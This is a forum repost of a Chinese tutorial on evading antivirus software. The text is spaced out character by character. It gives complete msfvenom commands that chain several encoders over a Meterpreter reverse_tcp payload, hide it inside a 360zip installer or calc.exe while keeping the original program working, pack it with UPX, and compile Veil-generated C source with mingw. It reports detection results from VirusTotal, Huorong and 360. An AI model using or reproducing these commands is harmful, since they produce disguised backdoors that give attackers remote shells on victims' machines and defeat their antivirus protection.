搜索

[22274] 2021-08-20_免杀原理与实践——使用msfvenom与veil绕过杀毒软件

文档创建者：s7ckTeam
浏览次数：248
最后更新：2025-01-18
2021-08-20_免杀原理与实践——使用msfvenom与veil绕过杀毒软件 免 杀 原 理 与 实 践 — — 使 用 m s f v e n o m 与 v e i l 绕 过 杀 毒 软 件 L e m o n S e c   2 0 2 1 - 0 8 - 2 0 转 自 ： 这 次 的 实 验 令 我 非 常 兴 奋 ， 因 为 要 对 抗 的 是 各 大 杀 毒 软 件 厂 商 ， 所 以 事 先 得 做 好 很 多 功 课 。 另 一 方 面 我 也 想 看 看 m e t a s p l o i t 在 这 场 猫 鼠 游 戏 中 能 不 能 走 在 安 全 厂 商 的 前 面 。 这 次 的 目 标 免 杀 平 台 是 6 4 位 w i n d o w s   7   S P 1 ， 我 用 的 w i n d o w s   7   S P 1 虚 拟 机 中 事 先 装 了 一 下 杀 毒 软 件 ： 火 绒   版 本 ： 4 . 0 . 5 5 . 0 3 6 0 安 全 卫 士   版 本 ： 1 1 . 4 . 0 . 2 0 0 2   — —   需 要 联 网 才 能 正 常 发 挥 ， 断 网 后 就 是 傻 子 3 6 0 杀 毒   版 本 ： 5 . 0 . 0 . 8 0 8 1   — —   断 网 也 能 正 常 扫 描 在 线 检 测 ： V i r u s t o t a l   ( w w w . v i r u s t o t a l . c o m ) V i r s c a n   ( w w w . v i r s c a n . o r g )   — —   我 感 觉 这 个 网 站 没 有 v i r u s t o t a l 好 0 x 0   裸 奔 的 后 门 程 序 在 正 式 开 始 实 验 之 前 ， 我 们 先 看 一 下 没 有 做 免 杀 的 M e t e r p r e t e r 在 各 个 杀 毒 引 擎 面 前 的 表 现 ， 以 此 为 基 准 ， 评 估 免 杀 的 效 果 。 可 以 看 出 没 有 做 免 杀 的 M e t e r p r e t e r 是 相 当 容 易 暴 露 的 。 0 x 1   M S F 编 码 器 的 使 用 思 路 — — M S F 多 重 编 码 杀 毒 软 件 厂 商 的 钱 不 是 白 赚 的 ， 单 靠 M S F 的 编 码 器 要 想 取 得 成 功 非 常 困 难 。 所 以 我 一 开 始 就 准 备 用 m s f v e n o m 来 个 大 招 ！ 首 先 ， 我 们 不 能 使 用 m s f v e n o m 的 默 认 模 版 装 载 p a y l o a d ， 这 么 多 安 全 厂 商 盯 着 m e t a s p l o i t ， 我 们 最 好 选 择 自 己 的 模 版 。 我 决 定 用 3 6 0 压 缩 的 安 装 包 作 为 模 版 ， 并 尝 试 保 留 它 的 原 始 功 能 。
其 次 ， 必 须 选 择 合 适 的 编 码 器 。 s h i k a t a _ g a _ n a i 是 m s f 中 唯 一 的 评 价 是 e x c e l l e n t 的 编 码 器 ， 这 种 多 态 编 码 技 术 使 得 没 次 生 成 的 攻 击 载 荷 文 件 是 不 一 样 的 。 这 里 我 们 要 使 用 多 重 编 码 ， 通 过 管 道 ， 让 m s f v e n o m 用 不 同 编 码 器 反 复 编 码 进 行 混 淆 。 因 此 ， 我 列 出 这 次 实 验 中 m s f v e n o m 要 用 到 的 参 数 ， 供 同 学 们 参 考 ： 1 ） ） 实 践 输 入 这 里 使 用 管 道 让 m s f v e n o m 对 攻 击 载 荷 多 重 编 码 ， 先 用 s h i k a t a _ g a _ n a i 编 码 2 0 次 ， 接 着 来 1 0 次 的 a l p h a _ u p p e r 编 码 ， 再 来 1 0 次 的 c o u n t d o w n 编 码 ， 最 后 才 生 成 以 3 6 0 z i p _ s e t u p _ 4 . 0 . 0 . 1 0 3 0 . e x e 为 模 板 的 可 执 行 文 件 。 原 始 模 板 的 大 小 只 有 7 . 5 M ， 但 编 码 以 后 却 增 加 到 了 1 6 M ! ! - a   < a r c h >   设 置 目 标 的 指 令 集 架 构 ， 这 里 我 们 选 择 x 8 6 即 可 - - p l a t f o r m   < p l a t f o r m >   设 置 目 标 平 台 ， 这 里 是 w i n d o w s ， 可 以 通 过 - - h e l p - p l a t f o r m s 选 项 查 看 m s f v e n o m 支 持 的 所 有 平 台 - p   < p a y l o a d >   设 置 攻 击 载 荷 ， 我 们 使 用 w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p ， 可 以 通 过 - l   p a y l o a d s 查 看 所 有 攻 击 载 荷 - e   < e n c o d e r >   指 定 编 码 器 ， 我 会 组 合 使 用 不 同 的 编 码 器 ， 可 以 通 过 - l   e n c o d e r s 查 看 所 有 编 码 器 - i   < c o u n t >   指 定 编 码 迭 代 的 次 数 - x   < p a t h >   指 定 模 版 - k   该 选 项 可 以 保 留 模 版 原 来 的 功 能 ， 将 p a y l o a d 作 为 一 个 新 的 线 程 来 注 入 ， 但 不 能 保 证 可 以 用 在 所 有 可 执 行 程 序 上 。 - f   < f o r m a t >   指 定 生 成 格 式 ， 可 以 是 r a w ， e x e ， e l f ， j a r ， c 语 言 的 ， p y t h o n 的 ， j a v a 的 … … ， 用 - - h e l p - f o r m a t s 查 看 所 有 支 持 的 格 式 m s f v e n o m   - a   x 8 6   - - p l a t f o r m   w i n d o w s   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   2 0   L H O S T = 1 0 . 0 . 2 . 6   L P O R T = 5 1 1 0   - f   r a w   |   m s f v e n o m   - a   x 8 6   - - p l a t f o r m   w i n d o w s   - e   x 8 6 / a l p h a _ u p p e r   - i   1 0   - f   r a w   |   m s f v e n o m   - a   x 8 6   - - p l a t f o r m   w i n d o w s   - e   x 8 6 / c o u n t d o w n   - i   1 0   - x   3 6 0 z i p _ s e t u p _ 4 . 0 . 0 . 1 0 3 0 . e x e   - f   e x e   >   3 6 0 z i p _ s e t u p . 2 0 1 5 5 1 1 0 . e x e
把 它 交 给 w i n 7 靶 机 测 试 环 境 ， 原 始 安 装 包 的 功 能 消 失 了 ！ ， 参 数 好 像 没 发 挥 作 用 。 但 是 这 个 后 门 还 是 可 以 运 行 的 。 2 ） 测 试 ） 测 试 本 地 测 试 我 先 用 本 地 的 一 些 安 全 软 件 对 后 门 进 行 检 测 ， 这 些 软 件 的 版 本 信 息 我 写 在 前 面 了 。 这 里 用 到 技 术 还 是 比 较 单 一 的 ， 我 对 测 试 结 果 没 报 太 大 希 望 。 火 绒 安 全 - k
我 刚 打 开 火 绒 安 全 软 件 ， 火 绒 就 立 马 报 毒 了 ， 甚 至 连 n e t c a t 它 都 没 放 过 ！ ！ 3 6 0 安 全 卫 士 3 6 0 安 全 卫 士 的 检 测 结 果 如 下 ， 我 们 也 没 能 骗 过 了 3 6 0 安 全 卫 士 ， 3 6 0 还 是 很 强 的 。 在 线 监 测 本 地 检 测 局 限 性 比 较 大 ， 我 们 通 过 两 个 在 线 恶 意 代 码 检 测 平 台 测 试 一 下 这 个 后 面 程 序 。 V i r u s T o t a l 太 惨 了 ！ 6 6 个 引 擎 有 3 5 个 发 现 后 门 。 毕 竟 使 用 的 技 术 过 于 单 一 ， 这 也 是 没 办 法 的 事 情 。
0 x 2   尝 试 加 壳 软 件 u p x 打 包 器 的 原 理 非 常 简 单 ， 就 是 将 可 执 行 文 件 中 的 代 码 和 数 据 进 行 压 缩 ， 然 后 将 解 压 缩 用 的 代 码 附 加 在 前 面 ， 运 行 的 时 候 先 将 原 本 的 可 执 行 数 据 解 压 出 来 ， 然 后 再 运 行 解 压 缩 后 的 数 据 。 打 包 器 的 本 质 目 的 是 反 调 试 ， 防 止 逆 向 工 程 。 我 们 这 里 使 用 打 包 器 的 目 的 是 为 了 改 变 后 门 程 序 的 特 征 码 。 模 板 问 题 模 板 问 题 我 本 来 想 在 上 一 步 的 基 础 上 对 后 门 软 件 进 行 u p x 加 壳 ， 但 是 ， 3 6 0 压 缩 的 安 装 包 本 身 无 法 用 u p x 加 壳 ， 以 它 为 模 板 的 后 门 程 序 也 没 法 用 u p x 加 壳 。 到 这 里 ， 我 的 思 路 被 打 断 了 。 我 觉 得 这 是 模 板 的 问 题 ， 我 应 该 重 新 选 择 一 个 模 板 （ 而 且 从 之 前 的 实 验 看 ， 3 6 0 压 缩 安 装 包 并 不 是 一 个 好 的 模 板 ） 新 的 模 板 — — 计 算 器 c a l c . e x e 没 办 法 ， 只 能 选 择 新 的 模 板 了 ， 我 选 择 了 3 2 位 的 计 算 器 程 序 c a l c . e x e 作 为 模 板 。 输 入 ： 先 生 成 后 门 程 序 运 行 这 个 后 门 程 序 ， 参 数 对 该 模 板 是 有 效 的 ！ 计 算 器 的 功 能 正 常 保 留 了 下 来 ， 这 次 的 后 门 有 点 像 样 了 ！ m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 0 . 2 . 6   L P O R T = 5 1 1 0   - x   c a l c . e x e   - k   - f   e x e   >   c a l c . 5 . 1 . 1 0 . e x e - k
但 是 从 图 上 可 以 看 出 来 ， 后 门 程 序 的 大 小 比 原 始 程 序 要 大 的 多 。 可 以 看 一 下 M e t e r p r e t e r 所 在 的 进 程 ： 无 法 加 壳 直 接 输 入 ， 尝 试 对 后 门 程 序 进 行 加 壳 ， 但 失 败 了 。 但 对 原 始 模 板 c a l c . e x e 进 行 加 壳 却 没 有 问 题 ， 输 入 u p x   c a l c . 5 . 1 . 1 0 . e x e u p x   c a l c . e x e   - o   c a l c _ u p x . e x e
但 模 板 却 没 法 运 行 了 … … 从 头 开 始 从 头 开 始 使 用 m s f v e n o m 的 默 认 模 版 ， 使 用 s h i k a t a _ g a _ n a i 编 码 器 编 码 2 0 次 ， 然 后 用 u p x 加 壳 ， 看 看 能 不 能 成 功 。 输 入 m s f v e n o m   - a   x 8 6   - - p l a t f o r m   w i n d o w s   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 0 . 2 . 6   L P O R T = 5 1 1 0   - e x 8 6 / s h i k a t a _ g a _ n a i   - i   2 0   - f   e x e   >   b a c k d o o r . 5 . 1 . 1 0 . e x e 加 壳 u p x   b a c k d o o r . 5 . 1 . 1 0 . e x e 失 败 的 加 壳 火 绒 和 3 6 0 都 轻 轻 松 松 的 发 现 了 u p x 加 壳 的 后 门 程 序 。
我 觉 得 应 该 是 默 认 模 板 和 编 码 器 的 使 用 过 于 简 单 ， 即 便 u p x 加 壳 混 淆 ， 依 然 难 以 达 到 免 杀 的 效 果 。 简 单 的 u p x 加 壳 还 没 有 M S F 原 生 的 多 重 编 码 管 用 。 0 x 3   初 探 V e i l   3 . 0 — — 用 E v a s i o n 工 具 生 成 后 门 程 序 源 代 码 V e i l - E v a s i o n 通 过 各 种 不 同 的 语 言 对 s h e l l c o d e 进 行 改 写 ， 达 到 免 杀 的 目 的 。 作 者 在 g i t h u b 上 声 明 原 来 的 V e i l - E v a s i o n 已 经 不 再 维 护 了 ， 让 用 户 使 用 V e i l   3 . 0 。 其 实 两 者 使 用 起 来 没 有 太 大 差 别 。 v e i l 的 官 网 h t t p : / / w w w . v e i l - f r a m e w o r k . c o m 有 关 于 v e i l 使 用 的 教 程 可 以 参 考 。
我 花 了 不 少 时 间 去 安 装 v e i l 。 一 开 始 从 a p t 中 安 装 v e i l 失 败 了 ， 我 干 脆 到 g i t h u b 上 去 克 隆 v e i l ， 依 然 没 有 配 置 好 环 境 （ 不 同 于 m e t a s p l o i t 的 主 页 ， V e i l 的 主 页 在 g i t h u b 上 还 是 比 较 冷 清 ， 贡 献 者 不 多 ） 获 取 后 门 C 语 言 源 码 因 为 安 装 错 误 ， 我 无 法 在 k a l i 上 让 p y t h o n 脚 本 变 成 可 执 行 文 件 ， 不 过 使 用 c 语 言 倒 是 可 以 编 译 ， 但 倒 霉 的 是 ， 我 到 6 4 位 w i n 7 虚 拟 机 居 然 无 法 运 行 这 个 后 门 （ 但 我 到 w i n 1 0 主 机 可 以 运 行 这 个 后 门 ） 。 我 立 刻 改 变 思 路 ， 自 行 编 译 V e i l 生 成 的 源 码 。 先 生 成 C 语 言 版 本 的 源 码 看 看 。 考 虑 到 我 w i n 7 虚 拟 机 的 性 能 ， 安 装 V i s u a l   S t u d i o 比 较 困 难 ， 我 选 择 安 装 m i n g w 来 编 译 c / c + + ， 来 编 译 源 码 （ 虽 然 m i n g w 编 译 正 常 程 序 生 成 的 机 器 码 来 说 都 可 能 误 报 ） 注 意 手 工 编 译 效 果 手 工 编 译 效 果 我 们 发 现 后 门 的 源 代 码 中 使 用 了 s o c k e t 套 接 字 ， m i n g w 手 工 编 译 时 需 要 链 接 w s 2 _ 3 2 库 ， 输 入 指 令 g c c   - o   v e i l _ t e s t . 5 . 1 . 1 0 . e x e
v e i l _ t e s t . 5 . 1 . 1 0 . c   - l w s 2 _ 3 2 进 行 编 译 。 编 译 了 C 语 言 版 本 的 v e i l 后 门 程 序 后 ， 我 把 它 放 到 v i r u s t o t a l 上 检 测 了 一 下 ， 效 果 非 常 不 错 ！ 只 有 8 个 引 擎 发 现 问 题 。 而 且 火 绒 安 全 和 3 6 0 都 没 有 发 现 问 题 我 们 开 启 这 个 后 门 试 试 ， 顺 便 看 看 它 能 不 能 躲 过   动 态 检 测 。 这 里 有 个 小 技 巧 ， 直 接 使 用 v e i l 在 / u s r / s h a r e / v e i l - o u t p u t / h a n d l e r 中 的 r c 资 源 文 件 启 动 m e t a s p l o i t 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理